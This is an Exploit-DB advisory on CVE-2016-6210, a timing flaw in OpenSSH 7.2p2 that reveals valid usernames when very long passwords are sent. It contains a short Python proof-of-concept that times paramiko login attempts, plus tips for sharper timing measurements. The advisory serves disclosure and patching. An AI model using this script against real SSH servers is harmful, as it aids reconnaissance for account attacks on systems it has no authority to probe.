OpenSSHd 7.2p2 - Username Enumeration

EDB-ID:

40113


Platform:

Linux

Published:

2016-07-18

Source: http://seclists.org/fulldisclosure/2016/Jul/51

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User Enumeration using Open SSHD (<=Latest version).
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Abstract:
-----------
By sending large passwords, a remote user can enumerate users on system that runs SSHD. This problem exists in most 
modern configuration due to the fact that it takes much longer to calculate SHA256/SHA512 hash than BLOWFISH hash.

CVE-ID
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CVE-2016-6210

Tested versions
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This issue was tested on : opensshd-7.2p2 ( should be possible on most earlier versions as well).

Fix
-----------------
This issue was reported to OPENSSH developer group and they have sent a patch ( don't know if patch was released yet).
(thanks  to  'dtucker () zip com au' for his quick reply and fix suggestion).

Details
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When SSHD tries to authenticate a non-existing user, it will pick up a fake password structure hardcoded in the SSHD 
source code. On this hard coded  password  structure  the password hash is based on BLOWFISH ($2) algorithm.
If real users passwords are hashed using SHA256/SHA512, then sending large passwords (10KB)  will result in shorter 
response time from the server for non-existing users.

Sample code:
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import paramiko
import time
user=raw_input("user: ")
p='A'*25000
ssh = paramiko.SSHClient()
starttime=time.clock()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
        ssh.connect('127.0.0.1', username=user,
        password=p)
except:
        endtime=time.clock()
total=endtime-starttime
print(total)

(Valid users will result in higher total time).

*** please note that if SSHD configuration prohibits root login , then root is not considered as valid user...

*** when TCP timestamp option is enabled the best way to measure the time would be using timestamps from the TCP 
packets of the server, since this will eliminate any network delays on the way.

Eddie Harari